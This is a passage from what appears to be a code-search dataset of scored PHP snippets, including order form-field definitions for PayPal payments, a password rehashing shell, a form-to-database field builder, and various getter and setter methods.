'order_paypal_mc_gross',\r\n 'label' => 'Paypal gross',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_paypal_date' => array( //payment\r\n 'table' => $this->_table,\r\n 'name' => 'order_paypal_date',\r\n 'label' => 'Payment Date',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_paypal_payment_status' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_paypal_payment_status',\r\n 'label' => 'Paypal Status',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_paypal_pending_reason' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_paypal_pending_reason',\r\n 'label' => 'Paypal Pending reason',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_paypal_ReasonCode' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_paypal_ReasonCode',\r\n 'label' => 'Paypal reason code',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_paypal_verify_sign' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_paypal_verify_sign',\r\n 'label' => 'Paypal verify sign',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_payment_txn_id' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_payment_txn_id',\r\n 'label' => 'Paypal txn id',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n \r\n\r\n 'order_transaction_message' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_transaction_message',\r\n 'label' => 'Paypal txn id',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n\r\n 'order_paypal_payer_email' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_paypal_payer_email',\r\n 'label' => 'Paypal Payer email id',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_paypal_ipn_track_id' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_paypal_ipn_track_id',\r\n 'label' => 'Paypal <br/>Invoice ID',//'Paypal Payer IPN id',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_payment_post' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_payment_post',\r\n 'label' => 'Paypal payment post',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n\r\n\r\n\r\n\r\n 'order_accesstoken' => array( //For amazon\r\n 'table' => $this->_table,\r\n 'name' => 'order_accesstoken',\r\n 'label' => 'Access token',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n // order amount breakup\r\n\r\n 'order_downpayment' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_downpayment',\r\n 'label' => 'Payment 1',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n\r\n 'order_downpayment_date' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_downpayment_date',\r\n 'label' => 'Downpayment Payment ',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_remaining_payment' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_remaining_payment',\r\n 'label' => 'Payment 2',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n 'order_partialpayment_date' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_partialpayment_date',\r\n 'label' => 'Partial Payment Date ',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n\r\n // 'order_status' => array(\r\n // 'table' => $this->_table,\r\n // 'name' => 'order_status',\r\n // 'label' => 'Order status?',\r\n // 'type' => 'switch',\r\n // 'type_dt' => 'dropdown',\r\n // 'type_filter_dt' => 'dropdown',\r\n // 'list_data_key' => \"order_status\" ,\r\n // 'list_data' => array(),\r\n // 'default' => '1',\r\n // 'attributes' => array(),\r\n // 'dt_attributes' => array(\"width\"=>\"7%\"),\r\n // 'rules' => 'trim'\r\n // ),\r\n\r\n\r\n 'order_admin_note' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_admin_note',\r\n 'label' => 'Admin Note',\r\n 'type' => 'text',\r\n // 'type_dt' => 'dropdown',\r\n // 'type_filter_dt' => 'dropdown',\r\n // 'list_data_key' => \"order_status\" ,\r\n // 'list_data' => array(),\r\n // 'default' => '1',\r\n 'attributes' => array(),\r\n 'dt_attributes' => array(\"width\"=>\"7%\"),\r\n 'rules' => 'trim'\r\n ),\r\n\r\n\r\n\r\n 'order_identity' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_identity',\r\n 'label' => 'Order Identity',\r\n 'type' => 'text',\r\n // 'type_dt' => 'dropdown',\r\n // 'type_filter_dt' => 'dropdown',\r\n // 'list_data_key' => \"order_status\" ,\r\n // 'list_data' => array(),\r\n // 'default' => '1',\r\n 'attributes' => array(),\r\n 'dt_attributes' => array(\"width\"=>\"7%\"),\r\n 'rules' => 'trim'\r\n ),\r\n\r\n 'order_status' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_status',\r\n 'label' => 'Order Activity',\r\n 'type' => 'dropdown',\r\n 'list_data' => array(\r\n 0 => \"New Order\",\r\n 3 => \"New Order(without payment)\",\r\n 1 => \"Shipped\",\r\n ) ,\r\n 'attributes' => array(),\r\n // 'js_rules' => 'required',\r\n // 'rules' => 'required',\r\n ),\r\n\r\n \r\n );\r\n \r\n if($specific_field)\r\n return $fields[ $specific_field ];\r\n else\r\n return $fields;\r\n }", "title": "" }, { "docid": "a37f6586d9096cdb7a48ec4bbdeb78c1", "score": "0.54740334", "text": "abstract public function getFieldsSet();", "title": "" }, { "docid": "2965041b56efdd76b82b7f7bf33e862e", "score": "0.5473041", "text": "public function getFieldsValues(array $inputs, array $definedInputs = [], $action = null)\n {\n }", "title": "" }, { "docid": "f1749c9ce0359a21c3a1050ff1892c1a", "score": "0.54728156", "text": "private function processField() {\n\t\t$conditions = 1;\n\t\tif($this->strict) {\n\t\t\t$conditions = array(\n\t\t\t\t\t'LENGTH(`' . $this->field . '`) <>' => 40\n\t\t\t);\n\t\t}\n\n\t\t$fieldsToHash = $this->model->find('all', array(\n\t\t\t\t'recursive' => -1,\n\t\t\t\t'fields' => array($this->model->primaryKey, $this->field),\n\t\t\t\t'conditions' => $conditions\n\t\t));\n\n\t\tforeach($fieldsToHash as $field) {\n\t\t\t$fieldValue = $field[$this->model->alias][$this->field];\n\t\t\t$recordId = $field[$this->model->alias][$this->model->primaryKey];\n\n\t\t\t$fieldValue = Security::hash($fieldValue, NULL, TRUE);\n\n\t\t\t$this->out('Changing password for: ' . $recordId);\n\t\t\t$this->out('Changed to: ' . $fieldValue);\n\n\t\t\t$this->model->create();\n\t\t\t$this->model->id = $recordId;\n\t\t\t$data = array(\n\t\t\t\t$this->model->alias => array(\n\t\t\t\t\t\t$this->field => $fieldValue\n\t\t\t\t)\n\t\t\t);\n\t\t\t$this->model->save($data, array(\n\t\t\t\t\t'validate' => FALSE,\n\t\t\t\t\t'callbacks' => FALSE\n\t\t\t));\n\t\t}\n\t}", "title": "" }, { "docid": "cccfdd9c05b5acfbd04a0368c718043f", "score": "0.5472623", "text": "function makeFields() {\n\t\t$table_fields = '';\n\t\t$entry = '';\n\t\t$pwFieldName = '';\n\t\t$dateFieldName = '';\n\t\t$theUpfieldName = '';\n\t\t$upFieldName = array();\n\t\t$formFieldValue = array();\n\t\t$selectedValues = array();\n\t\t$postvar = array();\n\t\t$form_array = $this->inputArray;\n\t\twhile ($formArray = each($form_array)) {\n\t\t\t$fieldset = $formArray['key'];\n\t\t\twhile ($formConf = each($form_array[$fieldset])) {\n\t\t\t\t$label = $formConf['key'];\n\t\t\t\twhile ($config = each($form_array[$fieldset][$label])) {\n\t\t\t\t\t$thetype = $config['key'];\n\t\t\t\t\t$thevalue = $config['value'];\n\t\t\t\t\t$i = 0;\n\t\t\t\t\twhile ($type = each($form_array[$fieldset][$label][$thetype])) { // 4th while\n\t\t\t\t\t\t$nameFields = $type['key'];\n\t\t\t\t\t\t$formFields = $type['value'];\n\t\t\t\t\t\t$inputKey = $this->array_key_check($form_array[$fieldset][$label], 'input');\n\t\t\t\t\t\t$selectKey = $this->array_key_check($form_array[$fieldset][$label], 'select');\n\t\t\t\t\t\t$textareKey = $this->array_key_check($form_array[$fieldset][$label], 'textarea');\n\t\t\t\t\t\t$typeKey = $this->array_key_check($form_array[$fieldset][$label][$thetype], 'type');\n\t\t\t\t\t\t$nameKey = $this->array_key_check($form_array[$fieldset][$label][$thetype], 'name');\n\t\t\t\t\t\t// avoid 'undefined indexes' errors\n\t\t\t\t\t\tif (!$_POST) $checkPostVar = FALSE;\n\t\t\t\t\t\telse $checkPostVar = TRUE;\t\n\t\t\t\t\t\tif (!$_FILES) $checkFilesVar = FALSE;\n\t\t\t\t\t\telse $checkFilesVar = TRUE;\t\t\t\t\t\n\t\t\t\t\t\tif ($inputKey) { // <input ...\tkey 'submit' replace by variable\n\t\t\t\t\t\t\tif ($typeKey) { // <input type ...\n\t\t\t\t\t\t\t\tif ($formFields === 'submit') { // <input type=\"submit\" ...\n\t\t\t\t\t\t\t\t\t// create no db table field for submit buttons within fieldsets\n\t\t\t\t\t\t\t\t\t$table_fields .= '';\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t} elseif ($formFields === 'password') { // <input type=\"password\" ...\n\t\t\t\t\t\t\t\t\t// get name of password field\n\t\t\t\t\t\t\t\t\t$pwFieldName = $form_array[$fieldset][$label][$thetype]['name'];\n\t\t\t\t\t\t\t\t} elseif ($formFields === 'date' OR $formFields === 'time' OR $formFields === 'datetime' OR $formFields === 'datetime-local') { // <input type=\"date/datetaime/...\" ...\n\t\t\t\t\t\t\t\t\t// get name of date field\n\t\t\t\t\t\t\t\t\t$dateFieldName = $form_array[$fieldset][$label][$thetype]['name'];\n\t\t\t\t\t\t\t\t} elseif ($formFields === 'file') { // <input type=\"file\" ...\n\t\t\t\t\t\t\t\t\t// get names of upload fields\n\t\t\t\t\t\t\t\t\t$theUpfieldName = $form_array[$fieldset][$label][$thetype]['name'];\n\t\t\t\t\t\t\t\t\t$upFieldName[$theUpfieldName] = $theUpfieldName;\n\t\t\t\t\t\t\t\t\t//echo \"<pre>\". print_r($upFieldName) .\"</pre>\";\n\t\t\t\t\t\t\t\t} elseif ($nameFields === 'name') { // <input type=\"text/radio/checkbox/number/range/date/time\" ... else?\n\t\t\t\t\t\t\t\t\t// get values from name fields only\n\t\t\t\t\t\t\t\t\tif ($form_array[$fieldset][$label][$thetype]['name'] === $pwFieldName){\n\t\t\t\t\t\t\t\t\t\t//echo \"<br>\".$formFields.\"<br>\";\n\t\t\t\t\t\t\t\t\t\t$table_fields .= \" `$formFields` \";\n\t\t\t\t\t\t\t\t\t\t$entry .= \" `$formFields`, \"; // create db table entry\n\t\t\t\t\t\t\t\t\t\t$formFieldValue[$pwFieldName] = addslashes(htmlspecialchars($_POST[$formFields]));\n\t\t\t\t\t\t\t\t\t\t$passwd = addslashes(htmlspecialchars($_POST[$formFields])); //$_POST[$pwFieldName];\n\t\t\t\t\t\t\t\t\t\t$postvar[$formFields] = crypt($passwd,$this->salt);\n\t\t\t\t\t\t\t\t\t} elseif ($form_array[$fieldset][$label][$thetype]['name'] === $dateFieldName) {\n\t\t\t\t\t\t\t\t\t\t$table_fields .= \" `$formFields` \";\n\t\t\t\t\t\t\t\t\t\t$entry .= \" `$formFields`, \"; // create db table entry\n\t\t\t\t\t\t\t\t\t\tif ($checkPostVar) {\n\t\t\t\t\t\t\t\t\t\t\t$formFieldValue[$dateFieldName] = addslashes(htmlspecialchars($_POST[$formFields]));\n\t\t\t\t\t\t\t\t\t\t\t$dateTime = addslashes(htmlspecialchars($_POST[$formFields])); //$_POST[$datetFieldName];\n\t\t\t\t\t\t\t\t\t\t\t$postvar[$formFields] = strtotime($dateTime);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} elseif ($form_array[$fieldset][$label][$thetype]['name'] === $theUpfieldName) {\n\t\t\t\t\t\t\t\t\t\t//echo \"<br>\".$formFields.\"<br>\";\n\t\t\t\t\t\t\t\t\t\t$table_fields .= \" `$formFields` \";\n\t\t\t\t\t\t\t\t\t\t$entry .= \" `$formFields`, \"; // create db table entry\n\t\t\t\t\t\t\t\t\t\tif ($checkFilesVar) {\n\t\t\t\t\t\t\t\t\t\t\t$formFieldValue[$theUpfieldName] = $_FILES[$theUpfieldName]['name'];\n\t\t\t\t\t\t\t\t\t\t\t//if ($this->array_key_check($_POST, $formFields)) {\n\t\t\t\t\t\t\t\t\t\t\t$file = $_FILES[$theUpfieldName]['name'];\n\t\t\t\t\t\t\t\t\t\t\t$postvar[$formFields] = addslashes(htmlspecialchars($file));\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t$table_fields .= \" `$formFields` \"; // create db table field\n\t\t\t\t\t\t\t\t\t\t$entry .= \" `$formFields`, \"; // create db table entry\n\t\t\t\t\t\t\t\t\t\tif ($checkPostVar) {\n\t\t\t\t\t\t\t\t\t\t$formFieldValue[$formFields] = addslashes(htmlspecialchars($_POST[$formFields]));\n\t\t\t\t\t\t\t\t\t\t$postvar[$formFields] = addslashes(htmlspecialchars($_POST[$formFields]));\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} elseif ($nameFields === '@#db') {\n\t\t\t\t\t\t\t\t\t$table_fields .= \" $formFields,\"; // needed to create db table only\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\t\t\t$table_fields .= ''; // all other fields \\neq 'name' of <input type=\"text/radio/chechbox\" ... else?\n\t\t\t\t\t\t\t\t\t$entry .= '';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} elseif ($typeKey === 'file') { // needed or not? !$typeKey === 'file'\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t} else { // <input .... without any type declaration\n\t\t\t\t\t\t\t\t// do nothing\n\t\t\t\t\t\t\t\t$table_fields .= '';\n\t\t\t\t\t\t\t\t$entry .= '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} elseif ($textareKey) { // <select ... OR <textarea ...\n\t\t\t\t\t\t\tif ($nameFields === 'name') {\n\t\t\t\t\t\t\t\t// get values from name fields only\n\t\t\t\t\t\t\t\t$table_fields .= \" `$formFields` \"; // create db table field\n\t\t\t\t\t\t\t\t$entry .= \" `$formFields`, \"; // create db table entry\n\t\t\t\t\t\t\t\tif ($checkPostVar) {\n\t\t\t\t\t\t\t\t\t$formFieldValue[$formFields] = addslashes(htmlspecialchars($_POST[$formFields]));\n\t\t\t\t\t\t\t\t\t$postvar[$formFields] = addslashes(htmlspecialchars($_POST[$formFields]));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} elseif ($nameFields === '@#db') {\n\t\t\t\t\t\t\t\t$table_fields .= \" $formFields,\"; // needed to create db table only\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\t\t$table_fields .= ''; // all other fields \\neq 'name' of <input type=\"text/radio/chechbox\" ... else?\n\t\t\t\t\t\t\t\t$entry .= '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} elseif ($selectKey) {\n\t\t\t\t\t\t\t$selectedVal = '';\n\t\t\t\t\t\t\tif ($nameFields === 'name') {\n\t\t\t\t\t\t\t\t$table_fields .= \" `$formFields` \";\n\t\t\t\t\t\t\t\t$entry .= \" `$formFields`, \";\n\t\t\t\t\t\t\t\t// need to get the selected values from form fields like 'select' with optgroup\n\t\t\t\t\t\t\t\tif ($checkPostVar) {\n\t\t\t\t\t\t\t\t\tif (is_array($_POST[$formFields])) { // i.e 'name' is an array\n\t\t\t\t\t\t\t\t\t\tforeach ($_POST[$formFields] as $key => $value) {\n\t\t\t\t\t\t\t\t\t\t\t$selectedVal .= addslashes(htmlspecialchars($value)).\"| \";\n\t\t\t\t\t\t\t\t\t\t\t$_POST[$formFields][$key] = addslashes(htmlspecialchars($value));\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$selectedVal = $this->truncateReturn($selectedVal, 2);\n\t\t\t\t\t\t\t\t\t\t$selectedValues[$formFields][] = $selectedVal;\n\t\t\t\t\t\t\t\t\t} else {\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t$selectedVal = addslashes(htmlspecialchars($formFields));\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$formFieldValue[$formFields] = $_POST[$formFields];\n\t\t\t\t\t\t\t\t\t$postvar[$formFields] = $selectedVal;\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} elseif ($nameFields === '@#db') {\n\t\t\t\t\t\t\t\t$table_fields .= \" $formFields,\"; // needed to create db table only\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\t\t$table_fields .= ''; // all other fields \\neq 'name' of <input type=\"text/radio/chechbox\" ... else?\n\t\t\t\t\t\t\t\t$entry .= '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} // end 4th while\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$tableInfo = array();\n\t\t$tableInfo[0] = $table_fields; // create table fields with type property\n\t\t$tableInfo[1] = $entry; // for queries of table like INSERT ... Values ($entry\n\t\t$tableInfo[2] = $formFieldValue; // to be put into value field of the form itself\n\t\t$tableInfo[3] = $selectedValues; // holds all selected values from 'checkbox' or 'select' fields, key is the name\n\t\t$tableInfo[4] = $postvar; // entire $_POST array where keys are the form field's names\n\t\t$tableInfo[5] = $upFieldName; // upload fields\n\t\treturn $tableInfo;\n\t}", "title": "" }, { "docid": "9f8daa5ae0ebca798e21631183070093", "score": "0.54680353", "text": "protected function __getFieldsModel()\n {\n }", "title": "" }, { "docid": "b1109e3114504703beaa01068acd5511", "score": "0.5465541", "text": "function getFields ($rs) {\n}", "title": "" }, { "docid": "54d7d363d4eff62107e23da6acb08d3e", "score": "0.545936", "text": "public function setFieldValues($input)\n {\n if (!is_object($input)) {\n $rowObject = (object) $input;\n } else {\n $rowObject = $input->fetch_object();\n }\n @$this->id = (int) $rowObject->id;\n @$this->idTemp = (int) $rowObject->id_temp;\n @$this->idUser = (int) $rowObject->id_user;\n @$this->idCategory = (int) $rowObject->id_category;\n @$this->fieldContactMethod = $this->replaceAposBackSlash($rowObject->field_contact_method);\n @$this->fieldPriceRent = $this->replaceAposBackSlash($rowObject->field_price_rent);\n @$this->fieldPriceSell = $this->replaceAposBackSlash($rowObject->field_price_sell);\n @$this->fieldPriceNego = $this->replaceAposBackSlash($rowObject->field_price_nego);\n @$this->fieldPriceRate = $this->replaceAposBackSlash($rowObject->field_price_rate);\n @$this->fieldPriceCurrency = $this->replaceAposBackSlash($rowObject->field_price_currency);\n @$this->fieldMake = $this->replaceAposBackSlash($rowObject->field_make);\n @$this->fieldModel = $this->replaceAposBackSlash($rowObject->field_model);\n @$this->fieldModelYear = $rowObject->field_model_year;\n @$this->fieldNoOfSeat = (int) $rowObject->field_no_of_seat;\n @$this->fieldFuelType = $this->replaceAposBackSlash($rowObject->field_fuel_type);\n @$this->fieldColor = $this->replaceAposBackSlash($rowObject->field_color);\n @$this->fieldGearType = $this->replaceAposBackSlash($rowObject->field_gear_type);\n @$this->fieldMilage = $this->replaceAposBackSlash($rowObject->field_milage);\n @$this->fieldImage = $this->replaceAposBackSlash($rowObject->field_image);\n @$this->fieldLocation = $this->replaceAposBackSlash($rowObject->field_location);\n @$this->fieldExtraInfo = $this->replaceAposBackSlash($rowObject->field_extra_info);\n @$this->fieldTitle = $this->replaceAposBackSlash($rowObject->field_title);\n @$this->fieldUploadDate = $rowObject->field_upload_date;\n @$this->fieldTotalView = (int) $rowObject->field_total_view;\n @$this->fieldStatus = $this->replaceAposBackSlash($rowObject->field_status);\n @$this->fieldReport = $this->replaceAposBackSlash($rowObject->field_report);\n @$this->fieldMarketCategory = $this->replaceAposBackSlash($rowObject->field_market_category);\n @$this->fieldTableType = (int) $rowObject->field_table_type;\n }", "title": "" }, { "docid": "0cfd7e5c07df995d390e03e186caaf72", "score": "0.54578066", "text": "public function getParams($field) {\n\t\t$arr = null; // Used to determine the variable name to look in\n\t\t$key = null; // Key of $arr[$key] containing filtering rules\n\t\t$innerkey = null; // Individual key used for comparing to validation parameters\n\t\t$innerparam = null; // Individual parameter used for comparing to validation parameters\n\t\t$foreign = null; // Reference to another data element in schema\n\t\t$filter = null; // Regex of filter\n\t\t$negative = null; // If contains what to strip instead of allow\n\t\t$description = null; // Error message when fails filter\n\t\t$min_length = null; // Minimum length of value\n\t\t$max_length = null; // Maximum length of value\n\n\t\t/**\n\t\t * Use field to determine what $tables[$table][$key] to look in\n\t\t * \t$field as variable--key => $tables[$table][$key]\n\t\t * \t$field as type => $tables['generic'][$key]\n\t\t */\n\t\t// If sent a reference to table--field value\n\t\tif (strpos($field, '--') >= 1) {\n\t\t\tlist($arr, $key) = explode('--', $field);\n\t\t}\n\t\t// If given a generic type\n\t\telse {\n\t\t\t$arr = 'generic';\n\t\t\t$key = $field;\n\t\t}\n\n\t\t// Set parameters but do NOT overwrite, higher level parameters always take precedence\n\t\tif (array_key_exists($arr, $this->tables) && array_key_exists($key, $this->tables[$arr])) {\n\t\t\tif(array_key_exists('filter', $this->tables[$arr][$key]) && $filter == null)\n\t\t\t\t$filter = $this->tables[$arr][$key]['filter'];\n\t\t\tif(array_key_exists('negative', $this->tables[$arr][$key]) && $negative == null)\n\t\t\t\t$negative = $this->tables[$arr][$key]['negative'];\n\t\t\tif(array_key_exists('description', $this->tables[$arr][$key]) && $description == null)\n\t\t\t\t$description = $this->tables[$arr][$key]['description'];\n\t\t\tif(array_key_exists('max_length', $this->tables[$arr][$key]) && $max_length == null)\n\t\t\t\t$max_length = $this->tables[$arr][$key]['max_length'];\n\t\t\tif(array_key_exists('min_length', $this->tables[$arr][$key]) && $min_length == null)\n\t\t\t\t$min_length = $this->tables[$arr][$key]['min_length'];\n\t\t\tif(array_key_exists('foreign', $this->tables[$arr][$key])) {\n\t\t\t\t$foreign = $this->tables[$arr][$key]['foreign'];\n\n\t\t\t\tforeach ($this->getParams($foreign) as $innerkey => $innerparam) {\n\t\t\t\t\tif($$innerkey === null)\n\t\t\t\t\t\t$$innerkey = $innerparam;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn array(\n\t\t\t'foreign' => $foreign,\n\t\t\t'filter' => $filter,\n\t\t\t'negative' => $negative,\n\t\t\t'description' => $description,\n\t\t\t'min_length' => $min_length,\n\t\t\t'max_length' => $max_length,\n\t\t);\n\t}", "title": "" }, { "docid": "1291747164476a13c97a971f2acac997", "score": "0.54570097", "text": "public function get_fields(){\n\t\tif ( ! empty( $this->fields ) ) {\n\t\t\t/** @var Caldera_Forms_Entry_Field $field */\n\t\t\tforeach ( $this->fields as $index => $field ) {\n\t\t\t\t$field->value = $field->apply_filter( 'value', $field->value );\n\t\t\t\t$this->fields[ $index ] = $field;\n\t\t\t}\n\n\t\t}\n\n\t\treturn $this->fields;\n\t\t\n\t}", "title": "" }, { "docid": "5d5f3b7c3970dbcb19b16b8d187db823", "score": "0.5450347", "text": "function GetAllProductFields()\n {\n return $this->GetResult(\"\",__FUNCTION__); \n }", "title": "" }, { "docid": "25161e92665b9c569d5059d6bdf0b1ca", "score": "0.545031", "text": "public function getField();", "title": "" }, { "docid": "25161e92665b9c569d5059d6bdf0b1ca", "score": "0.545031", "text": "public function getField();", "title": "" }, { "docid": "25161e92665b9c569d5059d6bdf0b1ca", "score": "0.545031", "text": "public function getField();", "title": "" }, { "docid": "25161e92665b9c569d5059d6bdf0b1ca", "score": "0.545031", "text": "public function getField();", "title": "" }, { "docid": "69d7052bc9dcdea7c6bb29d19e91d306", "score": "0.5446663", "text": "function ovrimos_result($result_id, $field)\n{\n}", "title": "" }, { "docid": "a610a56797aa36149eb44c92be8c2dfb", "score": "0.54440856", "text": "public function getValue($field);", "title": "" }, { "docid": "33e93b5f32fb2bad94506250a33e2c09", "score": "0.54426265", "text": "public function getFields() {}", "title": "" }, { "docid": "33e93b5f32fb2bad94506250a33e2c09", "score": "0.54426265", "text": "public function getFields() {}", "title": "" }, { "docid": "33e93b5f32fb2bad94506250a33e2c09", "score": "0.54426265", "text": "public function getFields() {}", "title": "" }, { "docid": "d0066d80d5476e9446c354b4a9d6f021", "score": "0.544258", "text": "public function getFieldValues() {\n return $this->values;\n }", "title": "" }, { "docid": "d79fb02e577581f969523cc7d73f03b6", "score": "0.54408973", "text": "function dataplus_get_addrecord_form_values() {\n global $mode, $dataplusdb;\n\n $template = $dataplusdb->get_template($mode);\n $columns = $dataplusdb->list_dataplus_table_columns(true);\n\n $defvals = array();\n\n if (empty($template->record)) {\n $defvals = array('record' => dataplus_get_default_addrecord_template($mode));\n } else {\n foreach ($columns as $column) {\n $name = $column->name;\n $label = $column->label;\n\n $template->record = str_replace(\"[[{$name}]]\", \"[[{$label}]]\", $template->record);\n }\n\n $defvals['record'] = $template->record;\n }\n\n if (empty($template->css)) {\n $defvals['css'] = dataplus_get_default_css();\n } else {\n $defvals['css'] = $template->css;\n }\n\n if (!empty($template->js)) {\n $defvals['javascript'] = $template->js;\n }\n\n if (!empty($template->jsinit)) {\n $defvals['jsinit'] = $template->jsinit;\n }\n\n return $defvals;\n}", "title": "" }, { "docid": "7e330b9044e686f674108d86faebd2cf", "score": "0.5431634", "text": "public function getFieldCreation($fieldName, $data, $includeFieldName = 1)\n\t{\n if ($includeFieldName) {\n \t$fld = \"\\t$fieldName {$data['type']}\";\n\t\t} else {\n\t\t\t$fld = strtolower(\"{$data['type']}\");\n\t\t}\n\t\tif (isset($data['length']) && strpos(strtolower($data['type']), 'enum') !== 0) {\n\t\t\t$fld .= \"({$data['length']})\";\n\t\t} else {\n\t\t\tswitch ($data['type']) {\n\t\t\t\tcase 'tinyint': $fld .= '(3)'; break;\n\t\t\t\tcase 'smallint': $fld .= '(5)'; break;\n\t\t\t\tcase 'mediumint': $fld .= empty($data['unsigned']) ? '(7)' : '(8)'; break;\n\t\t\t\tcase 'int': $fld .= empty($data['unsigned']) ? '(10)' : '(11)'; break;\n\t\t\t\tcase 'bigint': $fld .= empty($data['unsigned']) ? '(19)' : '(20)'; break;\n\t\t\t}\n\t\t}\n\t\t// тип SET идет в xyz, ибо нужно использовать N-M связи.\n\t\tif (!empty($data['unsigned'])) $fld .= \" unsigned\";\n\t\tif (!empty($data['zerofill'])) $fld .= \" zerofill\";\n\n\t\tif ($data['type'] == 'varchar') {\n\t\t\tif (empty($data['notnull']) && empty($data['default'])) {\n\t\t\t\t$fld .= \" default NULL\";\n\t\t\t} elseif (!empty($data['default']) && empty($data['notnull'])) {\n\t\t\t\t$fld .= \" default '{$data['default']}'\";\n\t\t\t} elseif (!empty($data['notnull']) && empty($data['default'])) {\n\t\t\t\t$fld .= \" NOT NULL\";\n\t\t\t} else {\n\t\t\t\t$fld .= \" NOT NULL default '{$data['default']}'\";\n\t\t\t}\n\t\t} elseif ($data['type'] == 'timestamp') {\n\t\t\tif (!empty($data['notnull'])) $fld .= \" NOT NULL\";\n\t\t\tif (!empty($data['default']) and $data['default'] == 'CURRENT_TIMESTAMP') {\n\t\t\t\t$fld .= \" default {$data['default']}\";\n\t\t\t} elseif (!empty($data['default'])) {\n\t\t\t\t$fld .= \" default '{$data['default']}'\";\n\t\t\t}\n\t\t} else {\n\t\t\tif (!empty($data['notnull'])) $fld .= \" NOT NULL\";\n\t\t\tif (!empty($data['default'])) $fld .= \" default '{$data['default']}'\";\n\t\t}\n\t\tif (!empty($data['auto_increment'])) $fld .= \" auto_increment\";\n\t\treturn $fld;\n\t}", "title": "" }, { "docid": "e142a645161286591a05b0da9ddd8f75", "score": "0.5419721", "text": "function get_field_values() {\n\n if (!isset($this->_extra_fs_values_collection)) {\n // fetch values for current parent *pid*\n $this->_extra_fs_values_collection = core::module('extrafs')\n ->get_value_handle()\n ->set_where('pid = %d AND ctype_id = %d'\n , $this->_parent->get_id()\n , $this->_parent->get_ctype_id()\n )\n ->load();\n }\n\n foreach ($this as $v) {\n $v->get_field_value();\n }\n\n 